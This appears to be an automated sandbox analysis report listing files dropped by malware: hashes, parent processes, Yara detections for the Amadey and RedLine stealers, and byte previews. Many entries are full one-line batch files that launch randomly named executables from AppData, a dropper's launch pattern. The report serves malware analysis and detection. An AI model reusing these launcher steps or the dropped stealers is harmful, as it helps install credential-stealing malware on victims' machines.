MD5:	65ADDAADC023D97317190F20AAF0A5D2
SHA1:	AE511A51CB20FD5D76ADD63F516C12DB81470930
SHA-256:	E13EDEE09DA850E6C12ACCE32595FA8B2833DFF78EE8949CCBC46F86C577E74B
SHA-512:	D12FD7F98C9431224344A8806751433DBECAF7FBA002169E34DDA2E117EB25907482B4BB8D00954A35433F93946F314B58C3CEBA651A1C088D4B7D62EE3CC332
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\i8dOWYOLtbNAxDJGOQ8Wt9el.exe"

C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	428544
Entropy (8bit):	6.494348537450964
Encrypted:	false
SSDEEP:	12288:5noAx+FnmuQhimtPURimLqevmipum+K4Y:5+FnmuGtpMLnLYY
MD5:	0099A99F5FFB3C3AE78AF0084136FAB3
SHA1:	0205A065728A9EC1133E8A372B1E3864DF776E8C
SHA-256:	919AE827FF59FCBE3DBAEA9E62855A4D27690818189F696CFB5916A88C823226
SHA-512:	5AC4F3265C7DD7D172284FB28C94F8FC6428C27853E70989F4EC4208F9897BE91720E8EEE1906D8E843AB05798F3279A12492A32E8A118F5621AC5E1BE2031B6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L.... Me..........................................@.......................................@.................................D...x....p...........................L..P...8...................,...........@............................................text............................... ..`.rdata..............................@..@.data....F... ...4..................@....rsrc........p.......:..............@..@.reloc...L.......N...<..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000069001\RQGmLZ5AzfXq1HUlOGzzOt3b.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.800715312466175
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5djRMT7LtEmn:fE1wkn23hR8Ltr
MD5:	053D356D0912ECD8CF0011B9F435A90D
SHA1:	362A05451E36023AF6C2C57BFC6608712851D4D2
SHA-256:	A4C954825F7CCEA826904EA76C48B6F77B821A54F3F8A51CDAF4F4066FF4D081
SHA-512:	65A814961ECAC97D7447105083280203E258CD3DA57E550279FD7E44AD64606D1E9F6A7A07F6241B41CEF12A992417E1CA426986599530D7585459F81E656B7B
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\xF7m0A44x6KodDxbhAtiDsub.exe"

C:\Users\user\AppData\Local\Temp\1000069001\Uyz5k2kN9MDeUVxUSGfpoV1o.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.956583247280137
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5mIDAy2IoYHFn:fE1wkn23mIDAy2I3HF
MD5:	CA7847D4CF93AA0A9EA15249FDF7EF7F
SHA1:	5C4F83E99533CC20E8FA70373A2ABE3E121A468D
SHA-256:	C67AB60A859C8B3FE61FF4C80BE99A2C84364B086E36DCC0EA2F613F294453A4
SHA-512:	7E4FC208F47D51D24A319B4AF9C51EE1DFE83FE2C29E8D1E736586F1344260108613E833AA90286B34A2F1C87C4F011801841B9A93D92F9A994D4897C98EE6BA
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe"

C:\Users\user\AppData\Local\Temp\1000069001\XCIhnAqijGuHPoBEIyjPsLIo.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.985568754526514
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J50uZpYm4wEACl:fE1wkn230qpMvAs
MD5:	B3694B622AF89C8FB62E25257A74F20E
SHA1:	A1575644A958875F69F2412AB212B5D9DD4907B9
SHA-256:	AD5D0B66C0375C02A8944D64114D09958C99FE8D407786450ED6D0F6BFDB6BE5
SHA-512:	18C7BD328A3607DFB56C4C7EAB29209A601078E91675057A71847E5F39098316F1B7EAB3C1901184874E704654374D9B4FD2B59200E0868F71360FAC92951B34
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\QbkKvIT5uJj3Cx8h0ECIsmUK.exe"

C:\Users\user\AppData\Local\Temp\1000069001\XGvWFa4NAosMbjAjuZzpyUWI.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.857239001305163
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5ABFI5gln:fE1wkn23A/OG
MD5:	3BFCF5F1147812BF68BB03C05A1316B4
SHA1:	E6CB7A1DD47912D357F9AC59613654BEBAFBE33E
SHA-256:	08156D27807BA68B08CB7FA76699ECF19745F9BF092614EBAD0E2C3FB7ECAC83
SHA-512:	ECC0FDB9726FCC100AA96881DDB5F9733BAC3098D1ACEE1BBBE863B32DE6CDB432F3566B4C2AF6D79986015EB7024605AADB0512EF5D005501A3ECC1A06A3E5D
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\evHtDP9yDvs3XYDQg8lqEVoH.exe"

C:\Users\user\AppData\Local\Temp\1000069001\Xcr6QUTPDnWRF6G2JMTKKHjm.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.92194035560531
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5CgnAG0fev:fE1wkn23C0jmev
MD5:	50BBA2DD7738F9663E9863467AB8B8B0
SHA1:	0AA8B8167412B8E9C3444C237C3F953A8967D59E
SHA-256:	CFB96B5FF992BC2EA704407EA0ACBBE0E9B95C1DD8F7068F21DA9D2055266054
SHA-512:	8AA9D2B33AD10FE377AE78531A6DB299AE6F7B70471BF8EF83212E9D77DE1A953C3CB4A9C242828B7E180D6F7DD8C2F7A61E5AB2476EF4654C6EE6287FFB6A0E
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\gKIISy7hixfPFGDeeM7cQzit.exe"

C:\Users\user\AppData\Local\Temp\1000069001\Y0b3PMbIThLKVdtccagUfXB5.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.967523645862217
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5/V6ddEkdm:fE1wkn23d6fVm
MD5:	2C5E4A9FD97D61B92C92AAC3CA4B7F64
SHA1:	6680E5D6A1C79F1E264FFE83FEE835801E53D006
SHA-256:	9E15AA86535E89CDF63D614C8A4E7AD8F37E34BDB416A8A046066F6CC7BC0858
SHA-512:	26FC55A7965A581E86C220214627760C22521BBC2255F8FAC4E5394CC148A61030AFCD39B6350C8F4ECBB71F135DA3108EB09BB208AE7288C9D3A5EAA1185F58
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\Z0V3bHdPFsglc9f9uLbxOZFN.exe"

C:\Users\user\AppData\Local\Temp\1000069001\anXwSKXwykesHSKjlumxtR63.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.939985464269606
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5oxGyISQclQ:fE1wkn23o06S
MD5:	00549A8F90B2D0C05D34901423254E0C
SHA1:	FDEF90A411937CAF6E05015E8D919252FE60FF0B
SHA-256:	37F5FE7D66C534553019C601C862AA5F7CA8AAA0D02C45DB16496F235FA4EEAD
SHA-512:	6CAB497F1E0DB2CE68BA59157DEC05A6212100433A30E73260399AD6C10C5EDE4F1837805BEEDE7D2DFC4E05C5F4BBE5A6672B1F48A0A685D2E0F1F1D9A7F092
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\MTc4G09Eq4noHZ0G091uBZf1.exe"

C:\Users\user\AppData\Local\Temp\1000069001\bQJ9ItXP3EFD6151o3yv3g6N.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	5.077808290419271
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5psrTPGSpGHKxL4Al:fE1wkn23AP5kAl
MD5:	90FFB62D8AC4E18411F413C1AD2E5C4A
SHA1:	EF8C3151DD4BCA45EDE4BAE84AD9EF25A30F058B
SHA-256:	E9B0DB1D6A5A6BFDDC8BBF134BE500AAE36205DC176BAD8DA93A4159E109EBCD
SHA-512:	5C13A5DA1ADAD212FE73DEC01B2EA81D3A2A10BBE6B1463C0C353BC1930F95C258E1428C94EFA9274E10E5D66D99D6465E48F5C8E1E1258094308E23F8593FBF
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe"

C:\Users\user\AppData\Local\Temp\1000069001\bWZJ6scgd0eSfqwO4Q8ocnSc.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.996509153108594
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5ntYTW2s:fE1wkn23tYI
MD5:	21D2CC694609A80211019421FACF745D
SHA1:	E75E79B69750322663F421E63DC2990A938814DA
SHA-256:	0CB642484C3C3AF6715DD5EDBDC2E1B53BB22C4238F923067A52103D0A24DFA2
SHA-512:	624F3808A173B4008BCC5202C128046EF03230921B4992E4AE3AD80A0287E992F2D20B982374D007B34AFFE486CF67372C8352EB32995ACD2135984676EE45C1
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe"

C:\Users\user\AppData\Local\Temp\1000069001\c32Iri3au0EiVWLS2ox14DKF.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.956583247280138
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5InKGMH0xlkiFn:fE1wkn23IdMHC
MD5:	053DF277FA30F6B199A09B95F4E1CF22
SHA1:	B63E7D40DD429D8AE7DA910159E13EC8EB6B467F
SHA-256:	1A63BBB20DD09097C41A161A65D4B077DD6169B8611BE09A652456FA4A1FD63C
SHA-512:	6D048FC563884932500F86CEF03E1E39D1D467D9A519E8CDF31AFD69FEFD3CF3D8B5E256A7C106C459E5CE214732F7C9166AB5BA7314D21BEFAD73ED56BA7DAE
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\mBoc1pbzy7gOQT20pyEZL3en.exe"

C:\Users\user\AppData\Local\Temp\1000069001\eGPF8nDHc6rmBKFNiAj03m4Z.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.945642848698059
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5QyT8E1N0dm:fE1wkn23QyjB
MD5:	EAF0AADCD7667D529783FC35C02E6F3A
SHA1:	990C05F9E29FF9DBDCBB92BF75C2F961944F9416
SHA-256:	8851A466595A7803B6494F4A09C90EE6BE537DF25E450531082122B98E30C463
SHA-512:	54434809018D8DBD3A3972A9232B60652FBEF0D2B8CB4480EC4915A86BC6768EA26E2558CD2F65297C180F9FEEA0372754AFE1AC85B0B57AB7E41DD3639A6954
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe"

C:\Users\user\AppData\Local\Temp\1000069001\euMrYI7tgBOIHiqrgsMTTI6h.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.915210015797916
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5qWOnehct:fE1wkn23qWOnR
MD5:	AA333D388B555F7AEA7970DB3D8C03AA
SHA1:	8B48E0A134D216A75E691C030370146402FE87B2
SHA-256:	B385D60D409A42A519921534F7281ED4B11D23A6E43B0C3ED8B8390542F9B835
SHA-512:	199F935576AE65057E94E89DB2BBB259352346F7A5B8ADE7BA8BC77823C2D546FC8F895C9001DF501B574491C3E763ADA9E0157AC904A3660C1D8A81838921EC
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\Osh3JGbyB69u4I6NltayynfD.exe"

C:\Users\user\AppData\Local\Temp\1000069001\fyWMllEKNnCV3KnF26H5P8Pi.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.958030572933904
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5memZP8Rv:fE1wkn23mv5A
MD5:	345CCE93F1B1653646915A710CB5D56B
SHA1:	D4011D349982D82D4BDF6054D8F540886BEE0358
SHA-256:	2AEFBDEAF4BEBE0854349115B707A46985BFFCD9286B410505D6C8FB05569256
SHA-512:	58B07FA985EC94A41FB81E89C3F59B3D50CCE9263674ABBC55B19A711641EE5B1203FAC47350EA6177AD974D59FD8FBF3331F6DDE782EB9A75D12982BAE47A0E
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe"

C:\Users\user\AppData\Local\Temp\1000069001\ggoGWZNyClVERCc8pHLm4D2v.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.950925862851686
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5CweCkyURCl:fE1wkn23C1nHRs
MD5:	C9ADD3E1BCE4CD4E582D891AD4674AB6
SHA1:	A3ABF1B38060766919AF3CBE69933B43238C9963
SHA-256:	589E5CAD47EFFA8B668D8A2C6DA4BA7AEFC88A5D29C70226E0F37268A7EE4B53
SHA-512:	8C1390333B946C5DB6A239454C35F96E53E0EF401352A3CD63932716813E40D0D0188EA0CA95A8F701F8864DA01AB5B22B6BD1D7A01664C6F06DA8D3BE096AC5
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\gPQjkT7jjoMSIv7cXyWMW1C4.exe"

C:\Users\user\AppData\Local\Temp\1000069001\kx5yxW4nZQm8bvIQ8Fe3Qu97.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.956583247280137
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5c26AW9aAHF:fE1wkn23c2rAl
MD5:	A8DD7104B5D46C3F967C8523E887EC81
SHA1:	99B45E61E01CA68A71046876B0B57C80A2305A1B
SHA-256:	AEDCB041210D8323B456F296ED5DEF4C326AADEDD3C6BBC1E1080033B9123841
SHA-512:	2B653E727B7013F1503BF89781DA804E55C44898D2E93878DD538966C273BB5523C7135BF0F0165B97AA20042F8DAF16715F48AFBEC034062BA653D2536860B9
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe"

C:\Users\user\AppData\Local\Temp\1000069001\lp9PoQVyE6a6huBcuai11cbh.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.801089682741001
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5JAUPryIV+T4m:fE1wkn237PdSv
MD5:	35C82A984371968A2E7CBEBC8D3B2B1D
SHA1:	57F5F9418CE3A68EB08F153CEC82B0072F0BA49E
SHA-256:	574B085886D15F0E09F6CE7D90A50A4EEC2A3D208067A4A5148C483698782AE5
SHA-512:	9C2CEBFBF3888B367897023535A1A12D89CD27131E64F978E4531A570593100DFB4BC4EFFEA3E0BF5233A915170F332663BEA5F502290E0F8701F8DD57D8A137
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\leqbtljZtxj2WxVvdmpHiNsI.exe"

C:\Users\user\AppData\Local\Temp\1000069001\nfeTS4Rh5UD3omGvdDZWTKCN.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.933255124462214
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5gHCnHYtydkrCHFn:fE1wkn23gHCHYAMs
MD5:	93E8C334BCD106B505B152CA4116C19C
SHA1:	545D31BF53A4CD41E49181DBF92848B044263A22
SHA-256:	C74C3B58557140BB55B117BA547ECF84642F6785FAC363B0C21E81721CCD04D7
SHA-512:	71869461254C58770E51AAC79D36DCF11F0D93360DA56864A5D6F44FE0851E5E5E6C2BDA8515B36536B47CE2750377BEB553AF6E0309ED619EFD0E30EDA1EDCC
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\EubzUqqfLmBbNiHWxubQa6s2.exe"

C:\Users\user\AppData\Local\Temp\1000069001\pyu6hRrie1pHZfKipPCmJSug.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.967523645862217
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5tWs2+yZBfQucL:fE1wkn23NyZtQTL
MD5:	F2619BBEAE4B99B43CE91DA4FBFD006A
SHA1:	9A8F360A92B6539ECBF6F22DF8AD25C62ABD91D0
SHA-256:	3F8CF3A929F240F44627083D99DDE329232CBCE529FEB60FD798D3FBEF3FEFF2
SHA-512:	F4178A3E6D33ED09189D15F56D3942421D1D60EC4F553290BF233F1E50996F8B24198B3C8C678A9180DBA6927D498BFCF734122830886CFC7272E45AF059F02E
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe"

C:\Users\user\AppData\Local\Temp\1000069001\qlZvaL5K8IumKQuIGtiAWDLI.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	5.037882384590816
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5k2BcRLVF:fE1wkn23kuOVF
MD5:	7DBCBC10DBB84940AB294A6290D0B60D
SHA1:	3F4DE6C77FE711C2832D406FC05B42A34FED35F5
SHA-256:	90E9BB0E9B324B31E624A6D75FD504B94842E29E349A06DF58804B997C7C292F
SHA-512:	941D10E5C0FFBBA84D0EF9B6D150C4C06BB69D7709360A34FE0338E1B5458CFEE31E99204B3EE8F7F41619EE1258FB3B033377B916C154778706FEFC1F09CC4D
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe"

C:\Users\user\AppData\Local\Temp\1000069001\rBAqm0StsqXtrceFRG9w8nUF.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.929045065687527
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5cyeAFD7m8B9AEF:fE1wkn23cyp5i8B9
MD5:	3030FA7E72CDA5C0F282D1BA553D6DF4
SHA1:	379DC2863D83C95FFCFF031F75597084FED2F816
SHA-256:	33747FA84C849BEB8158D6AD982B14D72DD37D25AE20BDE8F9FC540BE7B1BB73
SHA-512:	086013701B836634626045E35F33F9D235BC18F12CD54793542C0276A380D840B940E055F48376A8C8F52E8EE71EA6B25A23692C6F448AAA9BB2EB73C2352307
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe"

C:\Users\user\AppData\Local\Temp\1000069001\stqvxRyhXo0Pkc7tcdNkDx8h.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.968970971515983
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5u4MTOkGTCk/bs:fE1wkn23u9T8Okjs
MD5:	4D849C8F1BBA353FF5FDACCA4C23160B
SHA1:	987A7E60AD2615B800873D4197ADFBD183F8FEA5
SHA-256:	35B86374B5EE70591B71B89CF52C0F5A22459EBD80682779A98656264528577F
SHA-512:	8D770D9EBB48C6BDA5C2E2C67672439AAA03A38D6967AA4FC0067576C1B2071BEC82625E0290A569F12AFD568828A5EF5EC87528E194743D5B37B2127CF20D7A
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe"

C:\Users\user\AppData\Local\Temp\1000069001\y57AURiv2nc7k9hjcXOto2G1.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.800715312466175
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J51tK/JWyWVO4zF:fE1wkn23nk+VO4p
MD5:	F98A9FC59DFFA65E0A5F2AF36D5ACE7F
SHA1:	DD533C5BEBEE0F2293B1CD8FDA4699476289983E
SHA-256:	0B522323990002E05B26A8E921835B18BE1A9DFC58D40AFBC1293F2ACD48C7D0
SHA-512:	07FECF649586D004FF24115AAA54C69289998AC801396781700AA82C11F9828519A3911E1C5FE4EA4C5CE69BE988EFE9A44CC67FCC49F44CA04ACD377A0E9B13
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\PHoZl3WswCZ1lCRWCJPBFZtN.exe"

C:\Users\user\AppData\Local\Temp\1000069001\yNsCD42nmHDMZzaqdVWeCTVI.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.955135921626373
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5MqcCudT9TvL:fE1wkn23MqcnhL
MD5:	B3307308ACCCDBF7059B1672DAD5560D
SHA1:	BFDFA333062DF6CAE58B5B3FBBEB767EC8BCDDA7
SHA-256:	B076C83B5AFE9384321CC1EED61E63A7D910E17441C15F1891549A268E2C28A6
SHA-512:	5465C8045A20E2B843F961DACC4954E4AC05CA351E52A16839D83034257BAE25D87D7E44EB5A24F5143CE817C07EA867E7A8E39F23E61BE9662654A13772BF01
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\iO9tAKw78L31Wsbvnq5kt5m1.exe"

C:\Users\user\AppData\Local\Temp\1000071001\jok.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.0817932970004
Encrypted:	false
SSDEEP:	3072:uq6EgY6i4rUjhYMLwPcologL/ejZWTACtAti0lcZqf7D34leqiOLibBOp:VqY6inwPDpKZWTA+AplcZqf7DIvL
MD5:	8510BCF5BC264C70180ABE78298E4D5B
SHA1:	2C3A2A85D129B0D750ED146D1D4E4D6274623E28
SHA-256:	096220045877E456EDFEA1ADCD5BF1EFD332665EF073C6D1E9474C84CA5433F6
SHA-512:	5FF0A47F9E14E22FC76D41910B2986605376605913173D8AD83D29D85EB79B679459E2723A6AD17BC3C3B8C9B359E2BE7348EE1C21FA2E8CEB7CC9220515258D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)v................0................. ... ....@.. ....................... ............@.................................t...O.... ..............................X................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	7.967195699444992
Encrypted:	false
SSDEEP:	3072:I1lmOH349skOxH49PsH+8KqnuHV7A/5S+c6wABA47PN/6wHFHJ:I1iekOxYlI+EuH2cvAe4BywlH
MD5:	586F7FECACD49ADAB650FAE36E2DB994
SHA1:	35D9FB512A8161CE867812633F0A43B042F9A5E6
SHA-256:	CF88D499C83DA613AD5CCD8805822901BDC3A12EB9B15804AEFF8C53DC05FC4E
SHA-512:	A44A2C99D18509681505CF70A251BAF2558030A8648D9C621ACC72FAFCB2F744E3EF664DFD0229BAF7C78FB72E69F5D644C755DED4060DCAFA7F711D70E94772
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....G..........."...0..p...........4... ........@.. ....................................`.................................74..O....................................3..8............................................ ............... ..H............text...Po... ...p.................. ..`.rsrc................r..............@..@.reloc...............x..............@..B................k4......H........$.................................................................]*....0............i.s........+...o.......X.... ....2..o.......o........8.........-N....d....(......(....&s..........o.........o...........o....r...p(.....3....+.s....%.o....%.o....%.o....%.o....%.o....%.o....%.Lo....%.o....%.o....%.o....%o.....Yo.........+........(...........o....+....2...X.. ....?........+<. ....... ...............XX.. ....].......................X.. ....2........8.......+w..X ....].

C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	399464
Entropy (8bit):	7.972213708887707
Encrypted:	false
SSDEEP:	6144:LlEGEyWKpTlDB878Ed8nFO+tFXFBCorNVDq5GZJrtLK7BYY0g2wqS5e8x:KGEyWERrpdTjZDqeh2Beg28Tx
MD5:	18B50C6016CD5D7FF2F01B71A5E3373B
SHA1:	D62DC0A84E39A1FFF24163153761C62A55FF30FE
SHA-256:	18D62AA8D04103058203E75FE4039DADB80EB0927DDD23B14F89C984F28AEA97
SHA-512:	27E0017FA30A9322E71191B2C4954D1F55D8FE827F029092FA3BDD6A52E799BBB671A776C3596A1DF02D8EBE660B2192F293CB67252EC289BBC99A8725CEAA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-............."...0..Z............... ....@...... ..............................k.....`..........................................................................................y..8............................................................ ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@........................................H......../...J......M.....................................................{...."..}.......~............~............~...........*.........^.(3.......}......}....&.(3..........o........~..............( ....&...}......s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z&...}....&...}......&..(E....*VsP...

C:\Users\user\AppData\Local\Temp\1000077001\jfesawdr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6401863
Entropy (8bit):	7.960348454310837
Encrypted:	false
SSDEEP:	98304:YPvEbLriWEmQfgLVPn2qQniV0kSybkHXrsfM8n1TQuDFviH345nBIvgj2dKczf:SE7iWWaVP2qeiTHkbYMyTeHcNjEKczf
MD5:	9FB56DD5B5BEB0B9C5D0102F22373C0B
SHA1:	5559DC162D09C11C1ED80AEDF8E9FA86FD531E4C
SHA-256:	A65B290AA9EBFB82746CF75440C19956169F48D7DCBEBAFDE6996C9B46039539
SHA-512:	AB6C88ACDDF3350F4DA37E20E38FC1BD4AC56433D5320FA071649DDF261CF1B6BB4692B54791E08E47B9E887A87BA5704AFDE6CB9AA9220C1DA7F27C85400A1C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@.......................................@.............................4.......P....`.......................`...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...`...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000079001\gold.exe

Download File

